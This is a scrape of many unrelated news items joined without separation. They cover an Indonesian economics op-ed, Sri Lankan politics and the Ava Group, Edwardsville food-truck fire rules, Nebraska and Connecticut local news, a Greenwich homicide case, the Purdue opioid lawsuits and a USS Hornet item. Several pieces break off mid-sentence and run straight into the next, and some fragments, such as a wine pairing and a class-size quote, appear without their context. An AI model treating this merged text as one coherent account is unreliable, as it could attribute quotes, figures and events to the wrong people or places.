In principle, the pattern of Indonesias balance of payments (BOPs) has remained unchanged since the Dutch era. Our economy has been dependent on foreign debt but sadly our exports still comprise low value products. From a recent study by University of Indonesia economist Telisa Falianty we could see that BOP is a measure for enhancing economic growth and supporting industrialization.

Current account trends of Malaysian and Indonesian BOPs reveal similar patterns during 1974-2002. During 2002-2009, the current account of Malaysia increased four-fold from a surplus of almost US$10 billion in 2002 to almost $40 billion in 2009. However, within that same period, Indonesias current account oscillated between zero to up to about $10 billion.

Furthermore, since 2009 up to 2016 both countries have faced significant decline in their current accounts. However, the current account of Malaysia still registered a surplus whilst Indonesias slumped into a deficit of about $17 billion.

The current account deficit and the structure of the economy are two different sides of the same coin. Apparently Indonesia has not been able to emulate either Japan or South Korea, and it is still unclear in which direction Indonesia will evolve.

Historically, Malaysias culture has been very close to ours. This implies that the way of thinking, feeling and behaving among us are relatively similar compared to other cultures. Development is actually a matter of cultural change.

In 2016, Malaysia scored +0.865661 in the Economic Complexity Index, a ranking developed by MIT Media Lab and Harvard University's Kennedy School of Government. Indonesias ECI, however, was far lower at -0.253646. With such ECI values the trade balances of Malaysia and Indonesia in 2017 were respectively $22.68 billion and $11.64 billion. Malaysias trade balance was almost twice that of Indonesia.

An insight into how Malaysia managed to perform so well was provided by Daniel Headrick in a 1996 edition of the Journal of World History 7, no. 1, among other sources. Malaysia has successfully shifted its culture from one showing a dearth of scientific enlightenment to one exhibiting scientifically founded social or cultural values and behavior. This was explained by Malaysias per capita expenditure on agricultural research and development which was higher than that of the United States. Malaysia has shown that tropical nations can compete if they invest in research, wrote Headrick.

Our economic development trajectory shows that we have not been able to move up to a higher state.

Observing the values of exports of manufactured products during 2011 to 2017 we see that the net weight of goods exported went from 63.8 million tons to 89.8 million tons, an increase of 40.7 percent, but its value only increased by 0.9 percent. Sadly, this implies that in real terms our exports have been deteriorating.

Lack of success in industrialization places a heavy burden upon agriculture. Its impact is shown by declining farm land size, registering an opposite trend to that of developed countries. The continuing process of peasantry of Indonesias agriculture will endanger our food security . The massive societal burden of stunting and neglected infection from tropical diseases appear to be highly correlated with lack of progress in industrialization.

Recent literature shows that the most important factor to determining development is the quality of institutions.

According to scholars one of the most important institutional setting that is blocking the emergence of a suitable process of development, e.g., along with better institutions and higher quality of human resources, is inequality in landownership.

We have inherited institutions that are creating huge inequality in landownership, namely Hak Guna Usaha (HGU), the right-to-cultivate permit, the 1870 agrarian law. The basic idea in this law of the colonial era is that the state provides large landholdings to private companies with a new status of ownership called use right or HGU.

This right permits the owners to use the land as collateral to banks or to sell it to other parties, because now it is considered a company asset, beyond the mere right to use the land.

Within this regime of landownership, for example, there are over five million hectares of palm oil plantations concentrated in the hands of conglomerates. As a consequence, millions of farm households face diminishing holdings.

We badly need a landownership 4.0 regime, to create a process engendering a high quality of institutional development and human resources. This is should be the main focus of Indonesian development at the current stage.

***

The writer holds a Ph. D in agricultural economics with specialization in natural resources.

Disclaimer: The opinions expressed in this article are those of the author and do not reflect the official stance of The Jakarta Post.Share this article Whatsapp

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Linkedin Erik Meijaard (The Jakarta Post) Jakarta  Wed, February 13, 2019

I normally enjoy Wimar Witoelars writings on critical Indonesia-related issues. Wimar often manages to put complex political issues in a much clearer context, while writing with wit. His article Developing infrastructure in a democracy (The Jakarta Post Jan. 31, 2019), unfortunately, is neither critical nor clear, and smacks of corporate greenwashing.



Wimars story goes like this. Indonesias economy grows fast. It needs renewable energy. A multifaceted approval process has therefore approved to build the Batang Toru hydrodam. We need this as it reflects the will of the people.



Unfortunately, a critical endangered ape, the Tapanuli orangutan, sits in the way as the dam will destroy part o

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Disclaimer: The opinions expressed in this article are those of the author and do not reflect the official stance of The Jakarta Post.Attorney-at-law Udul Premaratne said he met officials of the Sri Lankan Consulate in Dubai today to request them to appear for singer Amal Perera and his son Nadeemal, on behalf of the Sri Lankan Government.

He said another lawyer from Sri Lanka arrived yesterday to appear on behalf of the suspects.

The 31 suspects arrested along with Makandure Madush by the Dubai Police had not been released yet, Mr Premaratne told the Daily Mirror. (Indika Sri Aravinda)EDWARDSVILLE  Whether its a taco truck, donuts-on-the-go or a mobile version of your favorite brick-and-mortar restaurant, Edwardsville wants to ensure the vehicles meet the citys fire safety standards.

During its Public Safety Committee meeting Monday, Fire Chief Rick Welle asked the committee to approve an ordinance amending Chapter 46, Article IV of the citys ordinances to establish fire safety guidelines for food trucks operating in Edwardsville.

Welle said that while Madison County Health Department approved food trucks for general use in the county, Edwardsville had no ordinance language to provide basic fire safety regulations for food trucks operating within the city or within the fire departments jurisdiction.

These guidelines establish minimum standards for fire safety to protect both the customers and food truck operators, whether used for dispensing pre-packaged food items or food prepared on-site with mobile cooking equipment, Welle said.

Separate ordinances will regulate fees, use, and areas of operation.

Welle told the committee he looked at four to five other cities food truck regulations as guides, including St. Louis and Chicago.

Some were stricter while others were more lenient, he said. Among the points of the ordinance are:

 All mobile food trucks operating with the city limits or within the fire protection districts area will be subject to announced or unannounced inspections by the fire department

 Mobile food trucks cannot operate within 10 feet of any structure, including park shelters

 No seating may be provided inside the truck for patrons

 Food trucks cannot block fire department access roads, fire lanes, fire hydrants or other fire department vehicles

 Food truck employees must have an approved way to contact emergency services

Aldermen William Krause and S. J. Morrison voted to move it to the Administrative and Community Services Committee for first reading on Thursday. Alderman Chris Farrar was absent.

Reach Charles Bolinger at (618) 656-4700, ext. 31BEARDSTOWN  Police are investigating a weekend burglary at a Beardstown restaurant.

About 4 a.m. Saturday, someone broke into Little Mexico restaurant at 405 E. Fourth St. and removed a cash drawer containing what police said was a large amount of cash.While high quality health care and support for our veterans remains a large problem throughout the country, my family and I would like to recognize the incredible staff at the Grand Island VA Medical Center. My husband was recently placed on in-patient hospice and admitted to the Grand Island facility, where he lived out the remaining days of his life. The level of care and compassion that he received by the staff, doctors and nurses, was second to none. The staff interaction with my husband, and all of the patients in the facility, made the difficult last days seem more bearable. They treated him with love and kindness through it all.

While the news is full of terrible stories of neglect, poor care and aging facilities in the VA health system, its important to point out that its the efforts of the doctors and staff that separate a poor experience from a truly incredible experience. The staff and leaders of the Grand Island VA Medical Center deserve to be commended for their incredible work. Central Nebraska is very fortunate to have such a quality resource for our deserving veterans.

Hopefully one day, veterans health care in the United States will become the pinnacle of quality, which all other health services aspire to be. Its very possible. That level of quality is being provided on the third floor of the Grand Island VA Medical Center today. And our family is forever grateful.The U.S. lost an important one on Thursday. Master legislator John Dingell, who served in Congress longer than anyone and was a key player in countless pieces of important legislation, has died.

An oddity of American public life is that we just dont like Congress very much. Were about to celebrate the birth of the first president later this month, and whether the holiday is called Washingtons Birthday, Presidents Day or some other variation, we think its perfectly normal to commemorate the chief executives. But its hard to imagine a Members of Congress Day. Nor do the great legislators really receive much appreciation (unless, as with Senator John McCain, they were famous for something else).

I doubt if 5 percent of the country had any clue who John Dingell was. And thats a shame. Members of Congress  and especially the House  have always had the closest connection to ordinary voters. Theyre the ones who do a lot of the serious work of democracy.

Dingell was first elected in 1955, beginning a record-breaking tenure that lasted through the start of 2015. As the long-time chairman of the House Energy and Commerce Committee, he had a hand in bill after bill after bill, whether on the environment, industry, health care or innumerable other important issues.Comments made by a Northern Tamil youth about the Ava Group during a television interview opens a window to view the National Question from a different perspective

The Government has tried to belittle the situation in the north where armed groups are a threat to peace

Nine years after the defeat of the tiger rebels we still hear stories about disgruntled Tamil citizens demanding justice and also of attempts by certain parties to give hero status to rebel cadres who perished during the conflict.

Last Saturday (February 9) relatives of missing Tamil people staged a protest outside the Vavuniya Post Office against politicians A.Sumanthiran and R.Sampanthan claiming that the duo have not helped in solving their grievances. Also of concern is the work of some university undergraduates who have forcibly completed a monumental structure- which they refer to as a Mahiviru memorial- at the Jaffna University. In this backdrop the interview done by Derana with an individual said to be a member of the much talked about Ava Group-a violent group which disrupted peace in Jaffna-is significant.

The young man cautions viewers that the slain LTTE Leader Velupillai Prabakarans revolution failed

Arun maintains that there are no organised criminal gangs operating in Jaffna

Arun too sees the Tamil politicians having failed to find a solution to the national question

His stance is that all human and political problems can be sorted out through discussions

We have seen former LTTE cadres who sided with the Government now leading super luxury lives

There are questions about the authenticity of the group because the interviewee, Arulanandan Arun, maintains that he is a member of a group that has been labelled by politicians as the Ava Group. The video (https://www.youtube.com/watch?v=9PmD5PT20v8) has gone viral and also attracted much comments where ever posted on social media websites. We may have questions about this man, but he answers most of the questions that the Tamil people of the country have been struggling for answers.

Arun could be in his early 30s and his answers are spiced by his radical thinking. He refuses to be labelled a Hindu and says that he is a human. He says he isnt a Hindu and adds that he is in search of a religion. These are the signs of revolutionist, but the young man cautions viewers that the slain LTTE Leader Velupillai Prabakarans revolution failed.

We came to know of a collective called the Ava Group about four years ago when the print media started cultivating an interest towards reporting on violence initiated by this group. Politicians from the opposition were quick to take mileage out of the developing trend of armed groups surfacing in the north and accused the Government of being unable of retaining the hard earned peace in Jaffna.

Arun maintains that there are no organised criminal gangs operating in Jaffna. The guy is smart, well read, speaks all three languages used in the island and most importantly is sharp and vigilant during during the interview. He doesnt allow the TV presenter to pin any labels on him and says that he is a member of a group comprising youth wholl not hesitate to get aggressive in the face of social injustice.

Arun recalls how a parent had once given a photograph of a child to the security authorities when the latter had visited the house of a person, who was suspected to be a rebel. The picture had showed the person during childhood dressed as a rabbit, probably to take part at a school concert. This resulted in giving birth to the name Hava which had later become Ava.

There are enough newspaper reports and television visuals showing the aggressive acts of the Ava Group. Arun defends these violent acts and vouches however that no deaths have been caused in the society despite the disruptions. But the interview seems to go nowhere when the presenter tries to make young Arun confess on behalf of the group that causing violence in society is bad.

Like most youth and ambitious parents in the north, Arun too sees the Tamil politicians having failed to find a solution to the national question, despite having had the privilege of entering parliament. He condemns the stance taken by the TNA that it is the sole representative of the Tamil people. He says such an ideology doesnt fit in with the thinking of democracy.

He maintains during the interview that the present youth would never take to arms again. Arun picks from the best philosophical quotes underscoring the fact that A true revolution is initiated with non-violence. He adds that parents should teach their children that there is no glory in war. He also affirms that the glory comes from the people who work to prevent the war.

Armed groups have surfaced time and again in Jaffna despite a military presence

Arun might have got what he wanted; publicity. All these hits for his video clip and airtime in one of the most watched television stations in the country will stand him in good stead. His approach to gaining media attention draws similarities with former JVPer and political activist Kumar Gunaratnam, who later became an Australian citizen.

His stance is that all human and political problems can be sorted out through discussions. He says that the Tamil diaspora is willing to fund his activities, but adds that he doesnt want to touch the money on offer because if he did he would be branded a LTTE terrorist. He requests nations like America and Canada to stop interfering in the activities of Sri Lanka. He goes onto state that the migration problem that European countries are complaining about will cease to exist then.

We have seen former LTTE cadres who sided with the Government now leading super luxury lives. Arun warns during the interview that the LTTE revolution wasnt genuine and that the rebel group didnt achieve any of its goals. He also warns that politicians who made a hero out of Prabakaran are now in the process of building another such terrorist leader so as to ensure their survival in the political scene.

Arun also probably sees that past rebels who shelved their revolutions and struggles had earned a better ticket to life. He seems smart enough to foresee this reality or on the other hand might be stubborn enough to pursue achieving a daunting goal like changing how powerful politicians administer this nation. But to achieve any of these two targets he has to first shed the heavy metal like vest he wears as his personality and replace that with something light and comfortable.The TRID rule was not only burdensome but complicated, especially for small lenders and housing charities. Larger corporations and banks can better afford to hire financial experts who are well-versed on the rule. However, not-for-profit charitable organizations, like Habitat for Humanity, were left buried in mountains of complex paperwork. The TRID rule presents a variety of unnecessary obstacles, including the required purchase of expensive software with a cost calculator.

Regardless of political party, we can all agree that charitable organizations should not be hurt by a preventable oversight. As Habitats executive director in Lincoln told my office: With the ability to focus on our mission, instead of burdensome regulatory requirements and expenses, we can help more families build strength, stability and self-reliance through homeownership.

Thats why I recently reintroduced the bipartisan, bicameral BUILD Act to do exactly that for nonprofit organizations. This bill will allow nonprofits to use simpler forms, such as the Truth is in Lending, good faith estimate, and HUD-1 forms, instead of the overbearing, nearly 2,000-page TRID rule. Marily Galvan was arrested for tampering with evidence, DUI and possession of drug paraphernalia Sunday night at Wyandotte Street and Riverside Drive. An officer observed a vehicle fail to stop at a stop sign on Sylvan, police say. Galvan was found to be the driver.

 Larry Kociemba reported that someone illegally entered his residence at 2006 E. Seventh St. and stole a drawer from an end table containing various items, and a DVR box for a security system. Kociemba, the owner of the items, was contacted at Hall County Jail, where he is incarcerated. He reported that among the stolen items were at least 50 individually packaged diamonds that he said were worth around $2,500 per karat. Also stolen, he said, were a silver Rolex wristwatch, worth $15,000, and four titles to his vehicles.Two people were transported by ambulance following a crash and vehicle fire Tuesday night.

The Grand Island Fire Department responded to the accident on Custer Avenue near Walnut Middle School shortly before 6 p.m.

Shift Commander John Mayer said a small pickup truck headed northbound drifted to the right and against the curb, hitting a parked vehicle. He said the crash caused the parked vehicle to slam into another parked vehicle.

Mayer said the crash subsequently caused a fire in the trucks engine compartment.

A bystander put that (fire) out with an extinguisher before we got there, he said.

Mayer said two females in the truck were transported to CHI Health St. Francis. He did not know the status of their injuries.

Icy road condition is not believed to be a factor in the accident.

Get local news delivered to your inbox! Subscribe to our Daily Headlines newsletter. Sign up! * I understand and agree that registration on or use of this site constitutes agreement to its user agreement and privacy policy.Makes 4 servings.

Drink this:

Pairings by sommelier Nate Redner of Oyster Bah, as told to Michael Austin:

2013 G.D. Vajra Kye Langhe Freisa, Piedmont, Italy: The freisa grape variety has a range of expressions from bone-dry to very sweet. This dry one offers notes of thyme and oregano, which will help intensify the savory character of the sherry/chicken stock combination. The wines dark berry and fig notes will nicely match the smoky bacon, as well as the briny capers and green olives. The wines zippy acidity will balance the dishs richness.

2015 Mahi Sauvignon Blanc, Marlborough, New Zealand: A less tropical and ripe expression of New Zealand sauvignon blanc, this wine is full of lemon and grapefruit zest with subtle notes of tarragon and fennel. Its rich and creamy mouthfeel, along with citrusy acidity, will help prevent the dish from being overly salty. There is also enough fruit character in the wine to keep the pairing from being overly acidic, as sherry has a lot of acidity.GREENWICH  Immigration authorities determined that Javier Da Silva, a citizen of Portugal, was in the country illegally when he was charged with killing a former girlfriend whose body was found on the side of a road in Greenwich on Feb. 5.

The accused killer holds passports from Venezuela and Portugal, according to federal authorities.

Da Silva has overstayed his visa and is not in the country legally, U.S. Immigration and Customs Enforcement said Wednesday. He entered the country in May 2017, through the Visa Waiver Program. That system allows citizens of certain countries to travel to the United States for tourism or business for up to 90 days without having to obtain visas.

He failed to leave the United States within the required time frame, according to ICE spokeswoman Rachael Yong Yow. Immigration authorities will aim to take custody of Da Silva for immediate removal when he is released from criminal custody, if and when he released from jail, she wrote in an email.

The suspects immigration status is likely to fuel additional debate over criminality and immigration. A number of recent studies exploring the link between crime and illegal immigration indicate that foreigners are not involved in higher rates of crime than native born, but a number of high-profile cases involving illegal immigrants have seized public attention.

Da Silva, 24, has been in federal custody since his arrest in Queens on Monday evening; no bail was set, and officials have not said where he was held.

When investigators questioned him about the death of Valerie Reyes, a woman he previously dated over a year ago, he had an explanation, according to court papers filed in federal court.

According to the criminal complaint filed against him by federal authorities: On or about Jan. 29, he had sex with the victim at the victims residence (in New Rochelle). Da Silva noted that at some point the victim fell to the floor and hit her head. Da Silva then indicated he placed packaging tape over her mouth, bound her legs and hands and put her in a suitcase.

The suitcase ended up on the side of a road in Greenwich, and now Da Silva is facing a count of kidnapping resulting a death, a federal crime.

Federal investigators, working with police in New Rochelle and Greenwich, identified a car that Da Silva allegedly drove when he took out cash from a New Rochelle bank branch using Reyes debit card, according to court papers. That led to his arrest.

It was not clear from the federal criminal complaint why Da Silva bound Reyes and placed her in a suitcase, and what the sequence of events were that preceded the discovery of her body on Feb. 5 on Glenville Road. The Connecticut State Medical Examiner has not released the cause of death for the 24-year-old woman.

Da Silva was held without bail, though one could be set later. Court filings indicate a preliminary hearing has been scheduled for March 13.

He is being represented by Susanne Brody and Jason Ser of the public defenders. They did not return a request for comment Wednesday.

FBI agents, in pursuing an arrest warrant for Da Silva, said it was the use of Reyes debit card at a bank branch in New Rochelle on Jan. 29 that gave investigators a solid lead in the case. A black Honda CRV was observed on camera at the bank, the criminal complaint stated, and a license plate reader in downtown New Rochelle gave investigators the license plate number.

It came back to a rental company, and investigators determined that the Honda had been driven by Da Silva, and that he had a previous relationship with Reyes. He has been living in a condominium complex in the Flushing neighborhood of Queens, and cops from New Rochelle and Greenwich apprehended him there Monday.

He was later interviewed at the New Rochelle police headquarters, and it was there that Da Silva allegedly made comments about Reyes hitting her head, after he has been read his legal rights, the criminal complaint stated.

rmarchant@greenwichtime.comThe Cabinet yesterday decided to award the tender for the construction of the LNG power plant in Kerawalapitiya to a Chinese company.

Controversy surrounds this move because Lakdhanavi, a local company which made a lower bid for the project, was denied the tender. The power plant is to be built to generate 350 megawatts of electricity.

According to engineers attached to the Ceylon Electricity Board, the country will lose Rs.75 billion within a span of 20 years if the tender was awarded to a higher bidder.

According to reports the tender was awarded violating the due procedures to be followed in such cases. Earlier, the government was keen to award the contract to a Chinese company for setting up such a plant in Hambantota.

Power and Energy Minister Ravi Karunanayake obtained Cabinet approval for this project.A teacher in Somerset County has been arrested and charged with sexual offenses involving four high school students.

Maryland State Police said Samantha Marsh, 33, of Crisfield, was working as a nurse at Crisfield High School & Academy during the time of the alleged incidents. The investigation, which began Monday, shows the alleged offenses occurred between March 2018 and January 2019.NORWALK  Broken bottles, abandoned car batteries and a rusted lever-action rifle  these were some of the items found littering Norwalks streets, parks and streams during last years annual Earth Day cleanup.

The 2018 citywide cleanup cleared more than two tons of trash from the city, and on Saturday, April 27, Mayor Harry Rilling and a group of volunteers will hit the streets again in the latest iteration of the Keep Norwalk Beautiful campaign.

The annual cleanup, which began in 2015 as a part of Rillings Clean City Initiative, will start at 10 a.m. outside City Halls main entrance. There, volunteers will be given gloves, trash bags and litter picker-uppers and sent to locations throughout the city.

Litter in our streets and open spaces not only hurts how the city looks, but it is also harmful to the environment and our health. Keeping our city clean requires a continual effort on the part of businesses, residents and city leaders  we all must do our part, Rilling said.

These areas, once cleaned, will be marked by city officials for further prevention methods, including contacting nearby property owners, removing overgrowth and exploring enforcement measures, according to David Shockley, the citys coordinator of neighborhood improvement.

This is a day for us to team up and demonstrate our common interests for a cleaner Norwalk, Shockley said. We have observed remarkable progress from these annual volunteer cleanup events. Through your participation we have identified and cleaned numerous habitually abused sites.

Since launching the cleanup, volunteers have cleared nearly seven tons of trash from Norwalks most sensitive locations, from the banks of the Norwalk River to the playgrounds of Flax Hill Park, during these cleanups.

Shockley said the annual cleanups, along with grassroots efforts from local community organizations like the South Norwalk Citizens for Justice, have gone a long way toward helping the local environment.

Volunteerism is important for Norwalk and our everyday choices and actions collectively have a huge impact on our surroundings, he said.

Norwalkers and nonresidents alike are invited to attend the cleanup. In the event of inclement weather, the event will be rescheduled for Saturday, May 4.The February 9 thought conclave conducted by The Hindu newspaper of India in Bangalore included a blend of speakers representing different shades of opinion. Opposition Leader Mahinda Rajapaksa had been invited to deliver the inaugural address between 10.00 am and 11.00 am on February 9, and the topic was the future of India- Sri Lanka ties.

The Hindu is a national newspaper that is highly influential in shaping the public opinion in India. The event was organised ahead of Lok Sabha Elections in India, and the Presidential Elections in Sri Lanka. That Rajapaksa was invited for the event from Sri Lanka and the timing of the event bespeak of the attitude of Indian polity towards Sri Lanka once again.

That India played a pivotal role in the 2015 regime change of Sri Lanka was a common perception. General perception gained ground during the initial years of the new government. With just seven months into the Presidential Elections in Sri Lanka, and two months into Lok Sabha elections, India appears to be cautious in its dealings with Sri Lankan political parties and leaders. Well, India has reasons for it.

It is not a secret that India welcomed the political change in 2015. The United National Party (UNP), which was the main party of the national Unity Government formed in 2015, was ideologically close to India. Therein, one can say that the UNP-led Unity Government had a pro-India slant. Nevertheless, the Government could not or did not live up to Indian interests in Sri Lanka for whatever reason.

After the formation of the new Government, bilateral relations jumped a notch up with the visit of Indian Prime Minister Narendra Modi to Sri Lanka and the two sides announcing areas of cooperation in a novel political environment. Be that as it may, deliverance fell short of expectations.

On this score, there were main projects earmarked for execution under Indian investments- the development of the oil tank farm in Trincomalee, an LNG power project, the leasing out of the East Container Terminal of the Colombo Port etc. Negotiations were launched for the Economic and Technology Cooperation Agreement (ETCA) with India. But, none of them saw the light of day either due to the lack of political will on the part of the Government or the public protest built up against any form of Indian involvement. Alongside, the differences between President Maithripala Sirisena and Prime Minister Ranil Wickremesinghe blocked some of the key projects such as the Colombo East Terminal being leased out to India. Besides, the Hambantota Port was leased out to a Chinese company by the new Government, much to the consternation of India.

With the passage of time, the popularity of the Government waned, and it culminated in the political force led by Rajapaksa outperforming the governing side at the last local authorities elections concluded on February 10, 2018.

These aspects would have factored in compelling India to reconsider its approach towards Sri Lanka- to change public perception here that India is favouring a certain political force only.

Instead of identifying itself with a particular party or a group of people, India is now keen on cultivating contacts from all sides here. The change of ground political dynamics in Sri Lanka may have also contributed to Indias latest thinking on its policy towards Sri Lanka.

Rajapaksa delivered one hour lecture on the Future of India- Sri Lanka ties, followed by a question and answer session conducted by N. Ram. Rajapaksa asserted India- Sri Lanka relations should remain intact despite the change of government

This attitudinal change became apparent on a few occasions in the recent past. After the country became politically unstable after the change of Government on October 26, 2018, the western missions in Colombo openly sided with the UNP and played a pivotal role restoring it back in power. However, India conducted itself otherwise. India did not make any remark or statement that could show its allegiance to any party here. India, in a language couched in diplomacy, said democracy should prevail in Sri Lanka.

Alongside, both Indian Prime Minister Narendra Modi and Indian Congress Party leader Rahul Gandhi held talks with Mr. Mahinda Rajapaksa in New Delhi last year.

Rajapaksa showcases his wit

The thought conclave organised by The Hindu has to be weighed against such instances. The Hindu is a private organization, and therefore its standpoint cannot be taken as the official line of thinking of the India Government. However, it reflects dynamics of Indian polity in todays context.

Rajapaksa delivered one hour lecture on the Future of India- Sri Lanka ties, followed by a question and answer session conducted by N. Ram who is the chairman of THG Publishing PVT Ltd which publishes the Hindu. Rajapaksa asserted India- Sri Lanka relations should remain intact despite the change of government.

During the question time, Ram asked Rajapaksa whether a solution would be offered to the Tamil issue here in Sri Lanka in the event of him becoming the Sri Lankas Head of State.

In an answer coupled with witticism, Rajapaksa had said, I would offer a solution satisfactory to Tamil people. But, I will not be able to offer a solution satisfactory to Tamil politicians,

Rajapaksa is reported to have asserted that he will not allow Sri Lankan soil to be used against the security interests of India. Likewise, he said India should also not allow its soil to be used against Sri Lanka.

Indian Vice President Venkaiah Naidu spoke after Rajapaksa. His speech was full of catchphrases and alliterations. He always rhymed with words. It reminded the Sri Lankan delegation- Rajapaksa, Lohan Ratwatte, Dilan Perera, Dalles Alahapperuma, Namal Rajapaksa and Prof. G. L. Peiris- of late SLFP stalwart Alavi Moulana who was famous for his speeches full of catchphrases and rhyming words.

Sri Lankan delegates whispered to each other referring to Moulana.

Gowda asks about Seetha Temple in Nuwara-Eliya

Afterwards, the Sri Lankan delegation called on former Indian Prime Minister Deve Gowda in his residence in Bangalore. He is an Indian politician who served as the 11th Prime Minister of India from June 1, 1996 to April 21, 1997. His son is a minister serving in the State Government of Karnataka at present.

I am one of the accidental Prime Ministers of India, he told the Sri Lankan delegations.

Besides, Gowda expressed his desire to visit Sri Lanka, and inquired about Sri Seethai Amman Temple or Seetha Temple in Seetha Eliya, Nuwara-Eliya.

Ramayana says this is the place where Seetha spent her days in the prison of Ravana. Rajapaksa invited Gowda to visit Sri Lanka.Crete, NE (68333)

Today

Variable clouds with thunderstorms - possibly severe this afternoon. Damaging winds and large hail with some storms. High 87F. Winds SSE at 10 to 20 mph. Chance of rain 80%..

Tonight

Scattered thunderstorms, some strong during the evening, will give way to cloudy skies after midnight. Damaging winds and large hail with some storms. Low 67F. Winds NNE at 10 to 15 mph. Chance of rain 40%.More Connecticut municipalities than not would be affected by a bill proposed that would to allow chief elected officials to pick local school board chairs.

The idea, from state Senate Majority Leader Bob Duff, D-Norwalk, would allow a mayor or first selectman to appoint the school board chairperson if the school budget equals one half or more of a municipalitys total budget.

A number of local municipal leaders agree with Duff.

I think its a great idea, Ansonia Mayor David Cassetti said. In his city, he said, 53 percent of the total budget goes toward education.

Milford Mayor Ben Blake called the proposal interesting, given that education operations has such a huge impact on the communitys overall success. In the last two fiscal years, 57 percent of Milfords budget has been for its school district, Blake said.

Education spending counted for a half or more of local municipal budgets in nearly 60 percent of all Connecticut towns and cities for the fiscal year ending in 2017, according to the Connecticut Conference of Municipalities.

Generally, the smaller the district, the larger the piece of the pie for education, according to Kevin Maloney, a spokesman for the organization, which represents Connecticut cities and towns.

Duff said he proposed the idea without really knowing how many towns and cities it could impact, though he expected it would be a considerable amount.

Many times, chief elected officials are held accountable to voters for tax increases, yet when you have a Board of Education budget that accounts for over 50 percent of the budget of the community that chief elected official usually doesnt have a lot of control on Board of Ed spending, Duff said.

Duff said Senate Bill 458, which has yet to be fully fleshed out, would simply give mayors and first selectmen a voice in board policy and budget.

Though not decided, Duff said it would be his inclination to allow municipal leaders to choose the board chairperson from among those elected to the board, rather than choose someone outside the electoral process.

He said he hopes the change would lead to a closer working relationship between the school district and municipality and encourage the consolidation of municipal and school district departments that perform similar function, such as payroll or human resources.

In all but two municipalities in the state  Hartford and New Haven  school boards are elected and members choose the chairperson.

In New Haven, the full board until recently was appointed by the mayor. Now there is ahybrid mode with elected and appointed members. Hartford, too, has a hybrid model.

In 2012, coming off a bitter state takeover of the Bridgeport school board that was later ruled illegal by the State Supreme Court, local voters rejected a proposed change to the Bridgeport City Charter that would have put school board appointment in the hands of its mayor.

City residents opted to keep control.

Duff said were his bill to pass, state law would supersede local charters. Still, such a law might not apply to Bridgeport, since although it is the second biggest school district in the state, education accounts for 42 percent of the municipal budget this year, according to city documents.

John Weldon, Bridgeports school board chairman, said he likes things the way they are.

I think membership (of a board) should elect their own leadership, he said. Otherwise I think it would lead to animosity.

Duff said he did not know what would happen in districts that, depending on the year, spend just above or under the 50 percent threshold. Stratford would seem to fit into that category. Stamford as well.

Duff said regional school districts there are 19 in the state that include two or more municipalities would be exempt from the measure.

The proposal would need to be scheduled for a public hearing before it could be fully fleshed out, said Duff who is also sponsor of a bill to encourage consolidation of school districts with 2,000 or fewer students.

lclambeck@ctpost.com; twitter/lclambeckSTAMFORD  Connecticut Attorney General William Tong is tracking, but not contributing to, the increasingly prominent lawsuit that Massachusetts has filed against OxyContin maker Purdue Pharma  the only other state to sue both the company and its individual owners.

In the past month, Massachusetts Attorney General Maura Healeys litigation has garnered national attention after hundreds of pages of new documents were released as part of an expanded complaint that accuses Purdue and the Sackler family members who own the firm of fomenting the opioid crisis through deceptive marketing of drugs, including OxyContin. The accusations parallel those in Connecticuts lawsuit against the company and the Sacklers, but the two states complaints remain entirely separate.

What it shows is the evidence is very compelling, Tong said said in an interview about the Massachusetts lawsuit. The named defendants are responsible, and theyll be held to account. This is as serious as it can be, and the scale of the damages and liability is enormous.

Connecticut sued Purdue last December, under Tongs predecessor, George Jepsen. Massachusetts filed its original lawsuit last June.

The new unredacted version of the Massachusetts complaint includes a trove of information, including evidence suggesting that the Sacklers made billions of dollars off drugs, including OxyContin, and even tried to expand into the anti-addiction market.

Purdue has denied the allegations, describing the lawsuit as littered with biased and inaccurate characterizations.

Healey said she stands by the litigation.

What we allege is that its clear from the documents and the evidence that this company continued its bad practices and that the Sackler family was directly involved in sales and marketing efforts, she said in an interview last week with Boston-based public-radio station WBUR.

The level of detail in the Massachusetts complaint about Purdues purported wrongdoing stands out among the three-dozen states with active lawsuits against the company, said several legal experts.

To the extent that a legal complaint can, it reads like a novel, said Robert Bird, a professor of business law at the University of Connecticut. Its influence is its depth and accessibility. It completes a lot of the detective work about the company.

Next steps

The lawsuits from Connecticut and Massachusetts were filed in the states respective Superior Courts.

Our case is Connecticuts own aggressive case against Purdue, and its owners and managers and directors for the great harm theyve caused to the people of Connecticut, and across the country, in pushing opioids and their misconduct in misleading people, and frankly, profiting off their addiction, Tong said. Connecticut had to file its own case because we have our own claims.

Tong did not rule out submitting an expanded complaint.

As we proceed in our case and investigation and evaluation of the evidence, its possible that we will amend it in the future, he said.

Separate from the Connecticut and Massachusetts lawsuits, Cleveland-based federal Judge Dan Polster is overseeing 1,700 complaints filed against Purdue and other pharmaceutical companies by municipal and county governments in a process known as Multidistrict Litigation.

A comprehensive settlement  which would probably be reached through the MDL proceedings  could take several more months, even years, to finalize.

At the same time, Connecticut and Massachusetts are members of a joint investigation by more than 40 states that focuses on Purdue and six other opioid makers. Like the litigation, the multistate inquiry could end with a settlement.

Tong and Healey, who are both Democrats, are members of a committee overseeing the interstate alliance.

At a national level, we are in constant contact about the opioid crisis, which naturally includes Purdue, Tong said.

As the lawsuits pile up against Purdue and the Sacklers, the beneficiaries of the familys philanthropy continue to come under increasing pressure to cut ties.

Among the latest protests, demonstrators held events last Saturday in Manhattan, at the Metropolitan Museum of Art and the neighboring Solomon R. Guggenheim Museum.

Similar gatherings took place last summer outside Purdues downtown headquarters at 201 Tresser Blvd., Stamford.

pschott@scni.com; 203-964-2236; twitter: @paulschottTheres a big difference between a class of 18-23 and a class of 25-30. If we load those classes up to 30, the individual attention of students will go down.

But if its what we have to do, he broke off.

Other school board members discussed whether cuts could be made in textbook purchases, or any other avenues. However, Terry said, because 70 percent of the school budget goes to personnel, cuts in that area made the most difference.

Making cuts to the 30 percent of everything else is not much help, he continued.

As it stands now, the school system has $3.1 million in budget initiatives currently on the table. The long list includes salary increases and benefit offerings for support personnel, filling several teaching and support positions, bus replacement, and upgrades for parking, security and information technology. Looping in those initiatives would equate to a shortfall of $4.59 million, which school officials plan to ask for from the county.

The budget itself for the state has increased, Church explained to the school board. But the flip side of that is we saw a 3.45 percent reduction in the same time period in money given to the schools.An Army Air Force B-25B bomber takes off from Hornet at the start of the Doollitle raid in April 1942. (Public Domain)

Wreck of USS Hornet, WWII Aircraft Carrier, Found After 76 Years

The wreck of the World War II-era USS Hornet was discovered off the coast of the Solomon Islands in the South Pacific Ocean.

